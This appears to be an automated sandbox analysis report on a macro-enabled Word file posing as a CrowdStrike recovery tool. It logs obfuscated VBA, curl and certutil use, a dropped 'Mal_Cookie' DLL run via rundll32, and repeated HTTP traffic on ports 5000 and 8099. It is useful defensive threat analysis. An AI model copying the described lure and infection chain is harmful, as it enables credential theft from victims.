Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ifsutil.dll
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: devobj.dll
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certcli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptui.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certca.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: dsrole.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certcli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptui.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certca.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: dsrole.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certcli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptui.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: certca.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: dsrole.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\certutil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\InprocServer32

Jump to behavior

Source: Templates.LNK.0.dr	LNK file: ..\..\Templates
Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.LNK.0.dr	LNK file: ..\..\..\..\..\Desktop\New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	Initial sample: OLE zip file path = word/media/image1.jpg
Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	Initial sample: OLE zip file path = word/media/image2.jpg
Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	Initial sample: OLE zip file path = word/media/image3.jpg
Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	Initial sample: OLE zip file path = docProps/custom.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/theme/_rels/theme1.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/_rels/settings.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item3.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image2.jpg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image10.jpeg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: ~WRD0000.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: ~WRC0000.tmp.26.dr	Initial sample: OLE zip file path = word/media/image1.jpg
Source: ~WRC0000.tmp.26.dr	Initial sample: OLE zip file path = word/media/image2.jpg
Source: ~WRC0000.tmp.26.dr	Initial sample: OLE zip file path = word/media/image3.jpg
Source: ~WRC0000.tmp.26.dr	Initial sample: OLE zip file path = docProps/custom.xml

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source:	Binary string: curl.pdb source: xcopy.exe, 0000000A.00000002.2145898386.0000000002C0B000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2149297237.0000000004620000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2148940386.0000000002928000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000C.00000002.2154163486.00000000028A8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmp, curl.exe, 0000000D.00000000.2155057954.00000000008B5000.00000002.00000001.01000000.00000007.sdmp, xcopy.exe, 0000001E.00000002.2727525467.00000000028DB000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2729026809.0000000004760000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2728920488.0000000002A08000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 00000020.00000002.2732646936.0000000002D98000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000021.00000002.2767226008.0000000000885000.00000002.00000001.01000000.00000007.sdmp, curl.exe, 00000021.00000000.2733260752.0000000000885000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\c++\Mal_Cookie_x64\x64\Release\mscorsvc.pdb source: certutil.exe, 0000000E.00000003.2191196676.0000000004907000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp, certutil.exe, 00000022.00000003.2768980516.0000000004FA2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000002.4259710787.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp

Source: Element design set.dotx.0.dr

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Document contains an embedded VBA with many string operations indicating source code obfuscation

Source: VBA code instrumentation

OLE, VBA macro, High number of string operations: Module ThisDocument

Name: ThisDocument

Source: C:\Users\user\AppData\Local\Temp\curl.exe

Code function: 13_2_0087D33A GetModuleHandleA,GetProcAddress,_mbspbrk,LoadLibraryA,GetProcAddress,LoadLibraryExA,GetSystemDirectoryA,malloc,malloc,GetSystemDirectoryA,LoadLibraryA,free,free,

13_2_0087D33A

Source: mscorsvc.dll.14.dr

Static PE information: section name: _RDATA

Source: C:\Windows\System32\rundll32.exe

Code function: 16_2_00007FFD92C4A381 push rdx; ret

16_2_00007FFD92C4A38B

Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Local\Temp\curl.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\certutil.exe	File created: C:\Users\user\AppData\Local\Temp\mscorsvc.dll			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8099
Source: unknown	Network traffic detected: HTTP traffic on port 8099 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 8099 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49195 -> 8099
Source: unknown	Network traffic detected: HTTP traffic on port 8099 -> 49195
Source: unknown	Network traffic detected: HTTP traffic on port 49209 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49209
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49210
Source: unknown	Network traffic detected: HTTP traffic on port 49211 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49211
Source: unknown	Network traffic detected: HTTP traffic on port 49212 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 49214 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49214
Source: unknown	Network traffic detected: HTTP traffic on port 49215 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49215
Source: unknown	Network traffic detected: HTTP traffic on port 49216 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49216
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49218
Source: unknown	Network traffic detected: HTTP traffic on port 49219 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49219
Source: unknown	Network traffic detected: HTTP traffic on port 49220 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49220
Source: unknown	Network traffic detected: HTTP traffic on port 49221 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49221
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49222
Source: unknown	Network traffic detected: HTTP traffic on port 49223 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49223
Source: unknown	Network traffic detected: HTTP traffic on port 49224 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49224
Source: unknown	Network traffic detected: HTTP traffic on port 49225 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49225
Source: unknown	Network traffic detected: HTTP traffic on port 49226 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49226
Source: unknown	Network traffic detected: HTTP traffic on port 49227 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49227
Source: unknown	Network traffic detected: HTTP traffic on port 49228 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49228
Source: unknown	Network traffic detected: HTTP traffic on port 49229 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49229
Source: unknown	Network traffic detected: HTTP traffic on port 49230 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49230
Source: unknown	Network traffic detected: HTTP traffic on port 49231 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49231
Source: unknown	Network traffic detected: HTTP traffic on port 49232 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49232
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49234
Source: unknown	Network traffic detected: HTTP traffic on port 49235 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49235
Source: unknown	Network traffic detected: HTTP traffic on port 49236 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49236
Source: unknown	Network traffic detected: HTTP traffic on port 49237 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49237
Source: unknown	Network traffic detected: HTTP traffic on port 49238 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49238
Source: unknown	Network traffic detected: HTTP traffic on port 49239 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49239
Source: unknown	Network traffic detected: HTTP traffic on port 49240 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49240
Source: unknown	Network traffic detected: HTTP traffic on port 49241 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49241
Source: unknown	Network traffic detected: HTTP traffic on port 49242 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49242
Source: unknown	Network traffic detected: HTTP traffic on port 49243 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49243
Source: unknown	Network traffic detected: HTTP traffic on port 49244 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49244
Source: unknown	Network traffic detected: HTTP traffic on port 49245 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49245
Source: unknown	Network traffic detected: HTTP traffic on port 49246 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49246
Source: unknown	Network traffic detected: HTTP traffic on port 49247 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49247
Source: unknown	Network traffic detected: HTTP traffic on port 49248 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49248
Source: unknown	Network traffic detected: HTTP traffic on port 49249 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49249
Source: unknown	Network traffic detected: HTTP traffic on port 49250 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49250
Source: unknown	Network traffic detected: HTTP traffic on port 49251 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49251
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49252
Source: unknown	Network traffic detected: HTTP traffic on port 49253 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49253
Source: unknown	Network traffic detected: HTTP traffic on port 49254 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49254
Source: unknown	Network traffic detected: HTTP traffic on port 49255 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49255
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49256
Source: unknown	Network traffic detected: HTTP traffic on port 49257 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49257
Source: unknown	Network traffic detected: HTTP traffic on port 49258 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49258
Source: unknown	Network traffic detected: HTTP traffic on port 49259 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49259
Source: unknown	Network traffic detected: HTTP traffic on port 49260 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49260
Source: unknown	Network traffic detected: HTTP traffic on port 49261 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49261
Source: unknown	Network traffic detected: HTTP traffic on port 49262 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49262
Source: unknown	Network traffic detected: HTTP traffic on port 49263 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49263
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49264
Source: unknown	Network traffic detected: HTTP traffic on port 49265 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49265
Source: unknown	Network traffic detected: HTTP traffic on port 49266 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49266
Source: unknown	Network traffic detected: HTTP traffic on port 49267 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49267
Source: unknown	Network traffic detected: HTTP traffic on port 49269 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49269
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49269
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49269
Source: unknown	Network traffic detected: HTTP traffic on port 49270 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49270
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49270
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49270
Source: unknown	Network traffic detected: HTTP traffic on port 49271 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49271
Source: unknown	Network traffic detected: HTTP traffic on port 49272 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49272
Source: unknown	Network traffic detected: HTTP traffic on port 49273 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49273
Source: unknown	Network traffic detected: HTTP traffic on port 49274 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49274
Source: unknown	Network traffic detected: HTTP traffic on port 49275 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49275
Source: unknown	Network traffic detected: HTTP traffic on port 49276 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49276
Source: unknown	Network traffic detected: HTTP traffic on port 49277 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49277
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49277
Source: unknown	Network traffic detected: HTTP traffic on port 49278 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49278
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49278
Source: unknown	Network traffic detected: HTTP traffic on port 49279 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49279
Source: unknown	Network traffic detected: HTTP traffic on port 49280 -> 5000
